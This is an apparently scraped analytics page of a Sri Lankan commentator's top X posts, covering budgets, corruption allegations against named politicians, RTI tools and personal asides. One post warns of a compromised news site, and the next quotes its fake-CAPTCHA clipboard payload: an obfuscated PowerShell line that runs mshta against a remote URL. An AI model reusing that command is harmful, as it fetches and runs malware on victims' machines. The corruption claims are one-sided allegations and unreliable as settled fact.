#  @dinidu Dinidu de Alwis
Dinidu de Alwis posts on X about sri lanka, sri, money, npp the most. They currently have [-------] followers and [----] posts still getting attention that total [-------] engagements in the last [--] hours.
### Engagements: [-------] [#](/creator/twitter::14174456/interactions)
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### Mentions: [--] [#](/creator/twitter::14174456/posts_active)
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- [--] Year [---] +9.10%
### Followers: [-------] [#](/creator/twitter::14174456/followers)
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### CreatorRank: [---------] [#](/creator/twitter::14174456/influencer_rank)
### Social Influence
**Social category influence**
[countries](/list/countries) [finance](/list/finance) [technology brands](/list/technology-brands) [automotive brands](/list/automotive-brands) [travel destinations](/list/travel-destinations) [stocks](/list/stocks) [celebrities](/list/celebrities) [social networks](/list/social-networks) [gaming](/list/gaming) [currencies](/list/currencies)
**Social topic influence**
[sri lanka](/topic/sri-lanka), [sri](/topic/sri), [money](/topic/money), [npp](/topic/npp), [countries](/topic/countries), [india](/topic/india), [tariffs](/topic/tariffs), [china](/topic/china), [byd](/topic/byd), [prime minister](/topic/prime-minister)
**Top assets mentioned**
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### Top Social Posts
Top posts by engagements in the last [--] hours
"If Fitch S&P and Moodys says you're a shitty date maybe you're the problem Cubs"
[X Link](https://x.com/dinidu/status/1472133494868307968) 2021-12-18T09:15Z 15.8K followers, [--] engagements
"@ksoze84 Nope just checked"
[X Link](https://x.com/dinidu/status/1519577633024995329) 2022-04-28T07:21Z 15.8K followers, [--] engagements
"The Island - - website is compromised and it gives this prompt to 'verify' and a malicious script is copied to the clipboard (see below) which will then install a malicious programme onto your computer. Can't be bothered to set up a VM and run it. http://island.lk http://island.lk"
[X Link](https://x.com/dinidu/status/1890300448269308037) 2025-02-14T07:22Z 14.9K followers, [----] engagements
"powershell -w [--] -C -ClassName Win32_Process -MethodName Create -Arguments @CommandLine=('ms' + 'hta' + '.exe '+$l)" # ✅ ''I am not a robot: CAPTCHA Verification UID: 7811'' " https://atariq.shop/sports.mp4';Invoke-CimMethod https://atariq.shop/sports.mp4';Invoke-CimMethod"
[X Link](https://x.com/dinidu/status/1890300450597138608) 2025-02-14T07:22Z 14.9K followers, [---] engagements
"A consulting company (with registered offices inside a Hong Kong storage facility) that was hired to advice PM Wickremesinghe in [----] was paid more than US$100000 including upto three weeks after the visit concluded documents obtained through information requests showed. (1/4) Then Prime Minister @RW_SRILANKA ha sought (and received) Cabinet Approval for $65000 for a China-consultant. This was missing from the Cabinet briefing likely intentionally hid. Then Cabinet Spokesperson Gayantha K is now in the SJB. Both him and RW should be answerable. https://t.co/i70cbTAv5s Then Prime Minister"
[X Link](https://x.com/dinidu/status/1890358819512811527) 2025-02-14T11:13Z 14.9K followers, 10.7K engagements
"The Cabinet Committee of Economic Management (CCEM) was informed on [--] March [----] by the Minister of Development Strategies and International Trade (Malik S) of the decision to hire Northern Star Consulting Corporation Limited from [--] March to [--] April [----] (2/4)"
[X Link](https://x.com/dinidu/status/1890358823833018671) 2025-02-14T11:13Z 14.9K followers, [---] engagements
"In #budget2025 AKD takes a tonne of credit for the ground work done by Governor/CBSL and Treasury Secretary.; but rightly gives credit to the IMF. Thankfully weren't reversed by the NPP"
[X Link](https://x.com/dinidu/status/1891354827596132577) 2025-02-17T05:11Z 14.9K followers, [----] engagements
"Shooting off the regional economic development buzzwords about SMEs and agriculture - again to remember that commercial vehicles are taxed at 300%+ like every other government did. Meaningless rhetoric if not matched by policy changes"
[X Link](https://x.com/dinidu/status/1891357526467219846) 2025-02-17T05:22Z 14.9K followers, [---] engagements
"Aims to achieve 5% y/y GDP growth in 2025"
[X Link](https://x.com/dinidu/status/1891357769124479145) 2025-02-17T05:23Z 14.9K followers, [---] engagements
"Simple low-cost things that make a long term difference - seperate transport for juvenile offenders to/from courts and holding institutions"
[X Link](https://x.com/dinidu/status/1891375811778814372) 2025-02-17T06:35Z 14.9K followers, [---] engagements
"Pilot project to get three public transport corridors to get [---] (Kottawa Wattala Moratuwa Kadwatha) low-floor luxury buses"
[X Link](https://x.com/dinidu/status/1891379199635554437) 2025-02-17T06:48Z 14.9K followers, [---] engagements
"Today's entertainment brought to you by in-house climate activist Melani G celebrating 'farmer independence' through a farmer union funded by Kellogg"
[X Link](https://x.com/dinidu/status/1893646379899130244) 2025-02-23T12:57Z 14.9K followers, [----] engagements
"@yudhanjaya Sure this is 3X price but also prove platform and actual 4x4"
[X Link](https://x.com/dinidu/status/1929176711767441831) 2025-06-01T14:02Z 15.8K followers, [---] engagements
"Who wants to tell him about the Roman Catholic Church Relativist morality 👇 logic for thee it doesnt take rocket science to understand that having sex is without protection may lead to unwanted pregnancy. Last time I saw none of these religions were trying to illegalize any forms of contraception. https://t.co/nRIYqmrqpq Relativist morality 👇 logic for thee it doesnt take rocket science to understand that having sex is without protection may lead to unwanted pregnancy. Last time I saw none of these religions were trying to illegalize any forms of contraception. https://t.co/nRIYqmrqpq"
[X Link](https://x.com/dinidu/status/1946495333292482960) 2025-07-19T09:00Z 15.8K followers, [---] engagements
". files at Parliament for the Office of the Leader of the Opposition. Two years of effort by a colossaly corrupt politician's attempt to undermine and prevent transparency is slowly being dismantled. Sajith Premadasa's personal political dark money spend is still very much"
[X Link](https://x.com/dinidu/status/1955647500024680835) 2025-08-13T15:07Z 15.7K followers, [---] engagements
". in my crosshairs. Close to 300mn of the 1bn for which he didn't want accountability is now being scrutinised. Police should investigate the 300mn CCF funds misspend and potential embezzlement. Then it's the bus money that's left to trace"
[X Link](https://x.com/dinidu/status/1955647504281973026) 2025-08-13T15:07Z 15.7K followers, [---] engagements
"This. Misuse of 16mn is a misuse of 16mn regardless of who or how it happened. 2/n gov should stop saying it's going after him because he made expensive transit - this is safe but looks terribly petty - and explain like Bimal this is about the larger crimes they believe (showing evidence for this). A harder narrative to defend but more inclusive 2/n gov should stop saying it's going after him because he made expensive transit - this is safe but looks terribly petty - and explain like Bimal this is about the larger crimes they believe (showing evidence for this). A harder narrative to defend"
[X Link](https://x.com/dinidu/status/1960148058957812105) 2025-08-26T01:11Z 15.8K followers, [----] engagements
"There seems to be some confusion about whether I backed the arrest or not so let me clarify. I did and still do back the arrest. There appears a reasonable suspicion that just over Rs 16mn would have been used for personal travel and expensed to the state. There are rules. This breaks my heart. Most of my adult life I supported him thinking he was a champion of classical liberalism that he will protect constitutionalim and that he holds parliament sacrosanct. Those beliefs were chipped away by reality over the years. I wanted him to. (1/3 ) https://t.co/KJVfEnU2rl This breaks my heart. Most"
[X Link](https://x.com/dinidu/status/1960332855671755076) 2025-08-26T13:25Z 15.8K followers, [----] engagements
"Remember Sajith has over 300mn Central Cultural Fund money to account for. Opposition leader Sajith Premadasa has reportedly been summoned before the Bribery Commission over a complaint that government funds were used to renovate the UNP headquarters Sirikotha Newsfirst reported. D: https://t.co/EkQ6I6zXwF https://t.co/toEaMSIHUJ Opposition leader Sajith Premadasa has reportedly been summoned before the Bribery Commission over a complaint that government funds were used to renovate the UNP headquarters Sirikotha Newsfirst reported. D: https://t.co/EkQ6I6zXwF https://t.co/toEaMSIHUJ"
[X Link](https://x.com/dinidu/status/1963510554724639055) 2025-09-04T07:52Z 15.7K followers, [----] engagements
"Total 15/33 passengers have died when the bus they were in fell down a precipice in Ella late last night or early this morning. The passengers were from a state institution from Tangalle and were on a staff family trip. The dead include several children. https://www.newswire.lk/2025/09/05/ella-bus-accident-driver-of-the-suv-arrested/ https://www.newswire.lk/2025/09/05/ella-bus-accident-driver-of-the-suv-arrested/"
[X Link](https://x.com/dinidu/status/1963823910614413537) 2025-09-05T04:38Z 15.8K followers, 30.2K engagements
"OpenRouter has two new cloaked models one with a 2M context window #Gemini3"
[X Link](https://x.com/dinidu/status/1964127720759038154) 2025-09-06T00:45Z 15.8K followers, [---] engagements
"Oh fuck off uncle in a dress. We cannot accept this. What works well in Western countries doesnt necessarily suit Sri Lanka. We have our own culture systems and values that deserve respect. Thats why we urge education authorities not to obstruct the tendency to instill respect love and devotion in https://t.co/8WjxtoRZDE We cannot accept this. What works well in Western countries doesnt necessarily suit Sri Lanka. We have our own culture systems and values that deserve respect. Thats why we urge education authorities not to obstruct the tendency to instill respect love and devotion in"
[X Link](https://x.com/dinidu/status/1976631218658857439) 2025-10-10T12:49Z 15.8K followers, [----] engagements
"OOFT JKH is having a bad few months in terms of public trust. BYD Recalls Over [------] Cars Due to Design Battery Issues D: https://t.co/rLEfUcTmtC https://t.co/55bEXDDDcN BYD Recalls Over [------] Cars Due to Design Battery Issues D: https://t.co/rLEfUcTmtC https://t.co/55bEXDDDcN"
[X Link](https://x.com/dinidu/status/1979417952777843194) 2025-10-18T05:23Z 15.8K followers, [----] engagements
"Most of Sri Lanka's industries are headed by bullshit artistes selling snake oil. I've come to realise that the people who actually are decent in sectors like sci-tech quietly do their own thing and quietly stay in their own corners lest they be tainted by 'thought leaders. In general this AI effort is too infested with the types of people who want desperately to be opinion-makers and thought leaders but who can't actually do the work: whose knowledge stretches no further than a LinkedIn post. I had expected most to be winnowed out by this time. In general this AI effort is too infested with"
[X Link](https://x.com/dinidu/status/1979445859465957750) 2025-10-18T07:14Z 15.8K followers, [----] engagements
"The misfortune is that free stuff isn't thought of as 'good' which would also explain why Sri Lanka's Wikipedia community is also toxic as fuck. I've created a tool to provide rapid analysis of draft laws to support civil society to challenge problematic bits at Supreme Court"
[X Link](https://x.com/dinidu/status/1979448556525060307) 2025-10-18T07:24Z 15.8K followers, [---] engagements
"For those who don't know - Sri Lanka's lawmaking is extremely opaque. Once a draft is put into the Order Paper people can challenge parts within [--] days (not working days but days). This means bad-faith actors can bring in laws in April with minimal oversight"
[X Link](https://x.com/dinidu/status/1979448558550925613) 2025-10-18T07:24Z 15.8K followers, [---] engagements
"@sujatagamage Scrapping the amendment will be construed as not-tacit approval of corporal punishment. Now that this cat is out of the bag the government absolutely can not withdraw. To assume/imagine that a portion of teachers will look at it as a free pass is naive"
[X Link](https://x.com/dinidu/status/1979450436798017626) 2025-10-18T07:32Z 15.8K followers, [---] engagements
"My below tweet was quoting a news item about BYD doing a safety related recall for a bunch of cars from 2015-2022. I urge you to read its replies because turns out we're living in a fully rational society where people read all statements in full where I'm a harbinger of doom. OOFT JKH is having a bad few months in terms of public trust. OOFT JKH is having a bad few months in terms of public trust"
[X Link](https://x.com/dinidu/status/1979588579371446720) 2025-10-18T16:41Z 15.8K followers, [---] engagements
"Those in the government . are engaged in suppressing the rights of teachers and parents to guide children on the right path. We oppose this move by the government which prevents the emergence of good citizens in the country Premadasa said during a public gathering. Opposition Leader Sajith Premadasa today questioned whether members of the government are suffering from distorted minds. Those in the government seem to be suffering from distorted minds as they are engaged in suppressing the rights of teachers and parents to guide children on https://t.co/prrPFPdSVu Opposition Leader Sajith"
[X Link](https://x.com/dinidu/status/1979589695110832618) 2025-10-18T16:45Z 15.8K followers, [----] engagements
"Having considered the varied feedback especially about what to do in case of a perimeter breach I suppose we've got to look to other places. I'm not too keen on islands mostly cos inland at flood mercy and offshore can't grow anyting. But maybe then Delft Can land a plane. I've been thinkin about it (as one does) and I've concluded that Sigiriya is the best place to survive and counter a Zombie horde. Some of the islands may work (like Barberyn Island in Beruwala) but Sigiriya also has access to farmable soil in addition to the security. I've been thinkin about it (as one does) and I've"
[X Link](https://x.com/dinidu/status/1980787340604801338) 2025-10-22T00:04Z 15.8K followers, [----] engagements
"Here's a quick and dirty Nano Banana illustration on basic fortifications and an airstrip"
[X Link](https://x.com/dinidu/status/1980788091209277529) 2025-10-22T00:07Z 15.8K followers, [---] engagements
"This is handing China the ASI victory. US right-wing media figures tech pioneers call for superintelligent AI ban https://t.co/iZBAFX5MWz https://t.co/iZBAFX5MWz US right-wing media figures tech pioneers call for superintelligent AI ban https://t.co/iZBAFX5MWz https://t.co/iZBAFX5MWz"
[X Link](https://x.com/dinidu/status/1980934403141578861) 2025-10-22T09:49Z 15.8K followers, [---] engagements
"Pilgrims at Hindu festival at a Sri Lankan Buddhist temple dancing to a Kawadi version of an Arabic song praising the Prophet originally by an Ivorian Rastafarian reggae artist from France who has a Literature Degree from Columbia is peak. something. https://www.youtube.com/watchv=V8QuPnITSpc https://www.youtube.com/watchv=V8QuPnITSpc"
[X Link](https://x.com/dinidu/status/1981216900530262052) 2025-10-23T04:31Z 15.8K followers, [----] engagements
"Lady Gaga is such a fucking class act"
[X Link](https://x.com/dinidu/status/1981729842690506855) 2025-10-24T14:29Z 15.8K followers, [---] engagements
"I'd love to know how they plan on enforcing this. Sri Lanka to ban smartphone use by children under [--] Minister https://t.co/9s6uVpfGOQ Sri Lanka to ban smartphone use by children under [--] Minister https://t.co/9s6uVpfGOQ"
[X Link](https://x.com/dinidu/status/1982719851539087768) 2025-10-27T08:03Z 15.8K followers, [----] engagements
"I've finally created an information request generator for RTI requests. When you type in in simple language what information you want to find the app will draft a full request and suggest the best public authority you can submit it to. https://sri-lanka-rti-request-generator-532382191194.us-west1.run.app/ https://sri-lanka-rti-request-generator-532382191194.us-west1.run.app/"
[X Link](https://x.com/dinidu/status/1983879726121754999) 2025-10-30T12:52Z 15.8K followers, [----] engagements
"People who should not be allowed to make movies. 1) M. Night Shyamalan 2) Wes Anderson That's it. That's the list"
[X Link](https://x.com/dinidu/status/1984624345600147660) 2025-11-01T14:11Z 15.8K followers, [----] engagements
"@chef_john1 "Oh look I found a light pastel colour palette and I know how do move a camera sideways so I'm going to make it my entire personality" is NOT artistic inspiration"
[X Link](https://x.com/dinidu/status/1984773364334891471) 2025-11-02T00:03Z 15.8K followers, [---] engagements
"Gets delivered to your direct email inbox rain or shine every single day (even on Sundays and public holidays). On days that I've got power outages (which is rare) the thing gets delayed (obv) since I also live in a mobile-data deadzone. But other than that a 99% send-rate"
[X Link](https://x.com/dinidu/status/1984861214959136912) 2025-11-02T05:52Z 15.8K followers, [---] engagements
"The idea is to filter out rando press conferences useless 'breaking news' and Udaya Gammanpila saying he's going to get arrested. Takes from about [--] different sources (including Sinhala and Tamil). It's like a cheat-sheet of things that happened to face the day informed"
[X Link](https://x.com/dinidu/status/1984861751251181609) 2025-11-02T05:54Z 15.8K followers, [---] engagements
"The #2026BudgetLK actual budget speech is scheduled for Friday [--] November. In the interim here's a tabulated comparison of the proposals for [----] and the [----] estimates (2025 actuals will obv differ). It's a very disciplined budget at a headline-level. https://docs.google.com/spreadsheets/d/16Ql3ICNWFPlEeONvr2tYHUPV2unH6rHxaT7MH-EBWA8/editusp=sharing https://docs.google.com/spreadsheets/d/16Ql3ICNWFPlEeONvr2tYHUPV2unH6rHxaT7MH-EBWA8/editusp=sharing"
[X Link](https://x.com/dinidu/status/1984980092880068881) 2025-11-02T13:45Z 15.8K followers, [----] engagements
"It is a 5.12% (+4.51% recexe +6.47% capex) increase y/y which is extremely decent. Highlight increases are for some District Secretariats (Batti +47.99%; Badulla +42.67% Nuwara Eliya +38.39%); Met (188.77%) and Trade and Investment Policy (+728.97%) Depts"
[X Link](https://x.com/dinidu/status/1984980095170199667) 2025-11-02T13:45Z 15.8K followers, [---] engagements
"Office of the PM gets a 160.7% boost (an extra Rs [---] mn) which isn't too healthy but nothing compared to the 32.74% boost for the Buddhasasana Dept (Rs [-----] bn). However also healthy boosts to targetted poverty-alleviation esp in Easte and Uva"
[X Link](https://x.com/dinidu/status/1984980097216983098) 2025-11-02T13:45Z 15.8K followers, [---] engagements
"Education gets Rs 20bn more and Health (bundled with Media) gets Rs 38bn more. Transport (bundled with highways and ports) gets a Rs [--] bn chop (-11.57%). Police gets a 9.78% boost (Rs [--] bn) and Customs 18.79% (Rs [-----] bn) highlighting the revenue and anti-narc priority"
[X Link](https://x.com/dinidu/status/1984980099553210603) 2025-11-02T13:45Z 15.8K followers, [---] engagements
"Sri Lanka has seven Baobab trees: two in Mannar two in Delft one in Pomparippu one in Pungudutivu and one in Jaffna. I don't know how I don't know why. But we have seven. I'd love to know the how and the why but I don't think I'll ever get answers"
[X Link](https://x.com/dinidu/status/1985227108831084824) 2025-11-03T06:06Z 15.8K followers, [----] engagements
"With the addition of Samaposha the always-up-to-date list is now upto [---]. https://dinidu.medium.com/the-always-updated-list-of-sri-lankan-underworld-figures-ac51e289226e https://dinidu.medium.com/the-always-updated-list-of-sri-lankan-underworld-figures-ac51e289226e"
[X Link](https://x.com/dinidu/status/1985256616250265808) 2025-11-03T08:03Z 15.8K followers, [----] engagements
"As the generative models keep getting better my use of video and image models has gone down because the novelty wearing off. However LLM usage has grown heavily mainly for agentic tasks categorisations et cetera. Text-generation has gone down (from the very little there was)"
[X Link](https://x.com/dinidu/status/1985549644114411817) 2025-11-04T03:28Z 15.8K followers, [---] engagements
"Fox News artist's depiction of New York City c2030 colourised"
[X Link](https://x.com/dinidu/status/1985920265843626199) 2025-11-05T04:01Z 15.8K followers, [----] engagements
"You can only call them Tamil if they originate from the Tamil region of Jaffna. Otherwise it's actually sparkling wine. @wickramage Who said anything about upcountry Tamils here And who said Colombo chettys werent Tamil. Learn to fucking read lol. The point is he wasnt raised as a Jaffna Tamil @wickramage Who said anything about upcountry Tamils here And who said Colombo chettys werent Tamil. Learn to fucking read lol. The point is he wasnt raised as a Jaffna Tamil"
[X Link](https://x.com/dinidu/status/1986230014011187278) 2025-11-06T00:31Z 15.8K followers, [----] engagements
"Chuuwa Samantha (no relation to TN Sunil before you ask @GehanDG) is the newest addition to the list. https://dinidu.medium.com/the-always-updated-list-of-sri-lankan-underworld-figures-ac51e289226e https://dinidu.medium.com/the-always-updated-list-of-sri-lankan-underworld-figures-ac51e289226e"
[X Link](https://x.com/dinidu/status/1986240557602218340) 2025-11-06T01:13Z 15.8K followers, [---] engagements
"Who's going to pay for this Government to Recruit [-----] Personnel to Public Service Details: https://t.co/MzypVXvlGA #NewsFirst #News1st #NewsFirstEnglish #LKA #SriLanka #LatestNews #government #recruitment #publicservice Government to Recruit [-----] Personnel to Public Service Details: https://t.co/MzypVXvlGA #NewsFirst #News1st #NewsFirstEnglish #LKA #SriLanka #LatestNews #government #recruitment #publicservice"
[X Link](https://x.com/dinidu/status/1986274929592180916) 2025-11-06T03:30Z 15.8K followers, [----] engagements
"Looking at how often we're running to the police to save us from the mean people who said mean things it's almost like Sri Lankan civil society hasn't seen every single time hate speech laws in this country were weaponised. It's like we never learn. We are all normal people; we don't need to wear a badge saying LGBTQ. We are against hate speech against the LGBTQ community. If they have a political issue they should resolve it in another way Sri Lankan LGBTQ rights activist Chanu Nimesha said after filing a complaint https://t.co/IzifBz92Nn We are all normal people; we don't need to wear a"
[X Link](https://x.com/dinidu/status/1986276918468165857) 2025-11-06T03:38Z 15.8K followers, [----] engagements
"Throwback to one of THE BEST budgets we'd seen in Sri Lanka (2018 - which resulted in a 0.6% primary surplus) the fundamentals of which were shat on by subsequent governments dragging us to an economic crisis. Final draft of [----] Budget Proposal reviewed by President https://t.co/QmM0xj24Ox Final draft of [----] Budget Proposal reviewed by President https://t.co/QmM0xj24Ox"
[X Link](https://x.com/dinidu/status/1986309793213272283) 2025-11-06T05:48Z 15.7K followers, [----] engagements
"As much as I like to poke at the SEC's account this is important. Bubbles burst hype dies down. Very few companies will No Man's Sky themselves (if at all); most end up being Battlefield [----]. It's always better to Satisfactory or Witcher [--]. Life doesn't give refunds. 🚨Avoid the Hype Chasing popular or hot stocks can be risky. Just because a stock is trending doesnt mean its a good investment. Prices can rise quickly due to hype but they can fall just as fast. Instead focus on companies with strong fundamentals like steady earnings 🚨Avoid the Hype Chasing popular or hot stocks can be risky."
[X Link](https://x.com/dinidu/status/1986645275264569413) 2025-11-07T04:01Z 15.7K followers, [---] engagements
"That's not how cancers work and that's not how fucking statistics work. We're so collectively fucking stupid when it comes to science as a country. Also why is a psychiatrist being interviewed about cancer Next up: my proctologist weighs in about why my eyesight is bad. Even a single drop of alcohol can harm your brain and just one cigarette can cause cancer says Consultant Psychiatrist Prof. Amila Isuru. 🧠🚭 Think twice before lighting up or drinking your health isnt worth the risk. https://t.co/H4aX1x4kb7 Even a single drop of alcohol can harm your brain and just one cigarette can cause"
[X Link](https://x.com/dinidu/status/1987681010868510811) 2025-11-10T00:37Z 15.8K followers, [----] engagements
"Ramith Rambukwella indicted for Rs. [---] mn in illicit assets; Maldivian authorities seize Sri Lankan trawler with 355kg of narcotics; Mattala Airport loss Rs. [-----] billion since 2018; NPP faces mixed results passing its first local council budgets. https://www.patreon.com/posts/npp-led-local-12-143378964utm_medium=social&utm_source=twitter&utm_campaign=postshare_creator&utm_content=join_link https://www.patreon.com/posts/npp-led-local-12-143378964utm_medium=social&utm_source=twitter&utm_campaign=postshare_creator&utm_content=join_link"
[X Link](https://x.com/dinidu/status/1988412582462693883) 2025-11-12T01:04Z 15.8K followers, [----] engagements
"I've made changes to the information request generator (the tool that helps you create RTI requests from public authorities). To be clear - it does NOT record any data. Been wanting to know about a Minister's vehicle usage or staff hire Now's the change. https://sri-lanka-rti-request-generator-532382191194.us-west1.run.app/ https://sri-lanka-rti-request-generator-532382191194.us-west1.run.app/"
[X Link](https://x.com/dinidu/status/1988746047334805711) 2025-11-12T23:09Z 15.8K followers, [----] engagements
"Oh fuck off Malcolm"
[X Link](https://x.com/dinidu/status/1989699667253498219) 2025-11-15T14:19Z 15.8K followers, [----] engagements
"Cabinet approves bill to abolish MP pensions; Sri Lanka signs debt deal with Denmark; amendments approved to allow women to work night shifts; Gambling Regulatory Authority Act set for December implementation; GMOA continues strike and more. https://www.patreon.com/posts/mp-pensions-debt-143894678utm_medium=social&utm_source=twitter&utm_campaign=postshare_creator&utm_content=join_link https://www.patreon.com/posts/mp-pensions-debt-143894678utm_medium=social&utm_source=twitter&utm_campaign=postshare_creator&utm_content=join_link"
[X Link](https://x.com/dinidu/status/1990952435653763448) 2025-11-19T01:17Z 15.8K followers, [---] engagements
"@grok @sieugalp @shanaka86 Will it be the same with X AI"
[X Link](https://x.com/dinidu/status/1990952584526393438) 2025-11-19T01:17Z 15.7K followers, [---] engagements
"Quite happy (for a change) about the queen of the night (E. oxypetalum not S. grandiflorus) going bloom bloom last night. And yes it also rained heavily last night and yes the garden does need work. But look at the flowers and how pretty they are"
[X Link](https://x.com/dinidu/status/1990966031230374304) 2025-11-19T02:11Z 15.7K followers, [----] engagements
"Navy seizes 300kg of heroin and 100kg of meth at sea leading to the arrest of a former SJB councillor; AG tell court former President Wickremesinghe will be prosecuted soon; Inland Revenue records Rs 2tn tax collection and more: https://ww.patreon.com/posts/opposition-deal-144046189utm_medium=social&utm_source=twitter&utm_campaign=postshare_creator&utm_content=join_link https://ww.patreon.com/posts/opposition-deal-144046189utm_medium=social&utm_source=twitter&utm_campaign=postshare_creator&utm_content=join_link"
[X Link](https://x.com/dinidu/status/1991670136445841657) 2025-11-21T00:48Z 15.7K followers, [---] engagements
"That's an average amount of rain right I mean that's not a little rain or what you would call small rain Right RIGHT Above [--] mm of rain expected in some areas today https://t.co/izLUY96ZJf Above [--] mm of rain expected in some areas today https://t.co/izLUY96ZJf"
[X Link](https://x.com/dinidu/status/1991717863464530212) 2025-11-21T03:58Z 15.8K followers, [---] engagements
"Using Google AI Studio to build is crafting prompt about what you need for half an hour and then hitting retry [----] times an "Internal Error" occurs"
[X Link](https://x.com/dinidu/status/1991718024190292345) 2025-11-21T03:59Z 15.8K followers, [---] engagements
"I've fully redone the RTI request generator to be more helpful + also trilingual. It now explains (if you want only) what each step means basically walking you through. It has the weird URL because It's a virus (no it's not: I'm not spending anything.) https://copy-of-looking-glass-178996976722.us-west1.run.app/ I've made changes to the information request generator (the tool that helps you create RTI requests from public authorities). To be clear - it does NOT record any data. Been wanting to know about a Minister's vehicle usage or staff hire Now's the change. https://t.co/800qiFZDfc"
[X Link](https://x.com/dinidu/status/1991736712612188414) 2025-11-21T05:13Z 15.7K followers, [----] engagements
"This is honestly an exercise of anger at everybody especially the Government about the sorry state the RTI structure in Sri Lanka is. The law is REALLY FUCKING STRONG but is let down by an under-resourced RTI Commission (which also runs on their own made-up rules)"
[X Link](https://x.com/dinidu/status/1991736715153928366) 2025-11-21T05:13Z 15.8K followers, [--] engagements
"The Government plans to trim the law's powers: I'm looking forward to hearing what the SJB has to say during this considering Sajith has been hiding behind legal ambiguities. He's also forcing @ParliamentLK to not provide his pay sheets because - well - that's what he is"
[X Link](https://x.com/dinidu/status/1991736717418885238) 2025-11-21T05:13Z 15.8K followers, [---] engagements
"This is the kind of thing that development agencies should be doing but let's not even open that fish kettle because Jesus fuck. So yeah. This will have longevity if anyone wants to throw a GCP API key at me for Gemini [--] Pro (at the mo) and Google Places. If not well shit"
[X Link](https://x.com/dinidu/status/1991736719729938824) 2025-11-21T05:13Z 15.8K followers, [--] engagements
"If the Sinhala or the Tamil is too formal or incorrect - I DON'T FUCKING CARE. I do shit because I'm angry or because and that doesn't extend to actual translating a full UI. Although the code will be up on GitHub if anyone wants to fix any issues and push"
[X Link](https://x.com/dinidu/status/1991736722078724106) 2025-11-21T05:13Z 15.8K followers, [--] engagements
"This is actually one module I wanted to do of a complete end-to-end case management system for the Right to Information Commission but paying-to-take-care-of-cattle era is behind me (although evidently not. QED fucko) which itself is a part of a suite called OpenLexis"
[X Link](https://x.com/dinidu/status/1991736726721880146) 2025-11-21T05:13Z 15.8K followers, [---] engagements
". which is a whole heap of law-for-the-everyman designed for non-lawyers by a non-lawyer. That's got a bunch of things basically cleaning up laws and cases for GitHub a VSCode fork for legal drafting a draft-law rapid analysis platform (actually that part is done) and so on"
[X Link](https://x.com/dinidu/status/1991736729024532908) 2025-11-21T05:13Z 15.8K followers, [---] engagements
"Either criminality has gone up (unlikely) or enforcement is going up (more likely). A major ticket fraud operation involving safari jeeps at the Kaudulla National Park has been uncovered leading to the arrest of several individuals and the seizure of [--] jeeps Director General of Wildlife Conservation Ranjan Amarasinghe said. The investigation revealed that https://t.co/HKMIiEgnbx A major ticket fraud operation involving safari jeeps at the Kaudulla National Park has been uncovered leading to the arrest of several individuals and the seizure of [--] jeeps Director General of Wildlife"
[X Link](https://x.com/dinidu/status/1991802472382505161) 2025-11-21T09:34Z 15.8K followers, [----] engagements
"@kelums @tuktuksputnik @aselawaid That Huawei car for example"
[X Link](https://x.com/dinidu/status/1991866287719678234) 2025-11-21T13:48Z 15.8K followers, [--] engagements
"Six dead in Kadugannawa landslide parents of killed LTTE separatists honoured during heroes week in the North while boats deployed to assist flood-affected A/L exam candidates. https://www.patreon.com/posts/landslide-kills-144182890utm_medium=social&utm_source=twitter&utm_campaign=postshare_creator&utm_content=join_link https://www.patreon.com/posts/landslide-kills-144182890utm_medium=social&utm_source=twitter&utm_campaign=postshare_creator&utm_content=join_link"
[X Link](https://x.com/dinidu/status/1992365963216589294) 2025-11-22T22:53Z 15.8K followers, [---] engagements
"@CheTweetZ It's a valid question"
[X Link](https://x.com/dinidu/status/1992511715171545506) 2025-11-23T08:33Z 15.8K followers, [--] engagements
"Sajith thinks "we'll fully pay back the money we owe if our economy does well" and sticking to it which also helps improve our credit rating and reduce borrowing rates is idiotic. Explains why he has principal unpaid carry forward personal debts of Rs 93mm for a few years now. No matter how much economic growth we achieve we will be trapped at some point because of the idiotic agreement made with the IMF by the previous government Opposition Leader Sajith Premadasa criticized the former governments agreement with the IMF particularly the adoption https://t.co/ChrAavZoay No matter how much"
[X Link](https://x.com/dinidu/status/1993200453790970052) 2025-11-25T06:09Z 15.7K followers, [----] engagements
"Quite concerning that more than a dozen budgets from local governments (not just NPP including ITAK/Kayts) being defeated some multiple times. Shows absolute partisan bickering from everyone with little regard for actual service provision which is the main reason to have LGs"
[X Link](https://x.com/dinidu/status/1993478960949424368) 2025-11-26T00:36Z 15.7K followers, [----] engagements
"Saw a post (can't find now) by the Prabhakaran-worshipping types about how VP was fully dedicated to the cause saying he will give his life up. What people also tend to forget was that LTTE expelled all Muslims in the northern province and killed off or absorbed competing"
[X Link](https://x.com/dinidu/status/1993546681636602191) 2025-11-26T05:05Z 15.7K followers, 14K engagements
"Gotta admit 'playing snake' isn't a term I had ever heard before. https://www.dailymirror.lk/breaking-news/Tourism-bureau-acts-against-social-media-posts-damaging-Sri-Lankas-image/108-325744s=09 https://www.dailymirror.lk/breaking-news/Tourism-bureau-acts-against-social-media-posts-damaging-Sri-Lankas-image/108-325744s=09"
[X Link](https://x.com/dinidu/status/1993551891226411257) 2025-11-26T05:26Z 15.7K followers, [---] engagements
"I wonder when it was that a Sri Lankan saw an ice cube for the first time"
[X Link](https://x.com/dinidu/status/1993842316038246411) 2025-11-27T00:40Z 15.7K followers, [---] engagements
"@ArunAnnow . and I've never said otherwise Unlike (clearly) you I'm capable of seeing multiple wrongdoing by multiple parties and I have no allegiance to the Sri Lankan military. I don't know where you were going with this Whataboutism"
[X Link](https://x.com/dinidu/status/1993853139892711648) 2025-11-27T01:23Z 15.7K followers, [----] engagements
"@kunamvahees @_BH_6582 @xcsamixvi Practical wipeout of TELO PLOTE and EPRLF was way before Indians decided to come here. Even before 13A. EROS was gulped up latter part of 1980s. Don't lie to rewrite history. Attempts on Douglas ran well into the 2000s"
[X Link](https://x.com/dinidu/status/1993891601488482489) 2025-11-27T03:56Z 15.7K followers, [---] engagements
"@Rat_na12 My consistency is one of my best qualities. Also didn't take much for you to turn did it Out of curiosity what were the previous two handles that you changed from"
[X Link](https://x.com/dinidu/status/1993894426771628211) 2025-11-27T04:07Z 15.7K followers, [---] engagements
"I KNOW THE FIGHT WAS AT PLAZA THAT'S THE WHOLE FUCKING POINT. If Pilawoos isn't using " Pilawoos " as their marketing material for the next six months they should just delete their account. If Pilawoos isn't using " Pilawoos " as their marketing material for the next six months they should just delete their account"
[X Link](https://x.com/dinidu/status/1994192593970671714) 2025-11-27T23:52Z 15.7K followers, [----] engagements
"Why can't it just stop being sad and be happy"
[X Link](https://x.com/dinidu/status/1994238583712956763) 2025-11-28T02:55Z 15.7K followers, [----] engagements
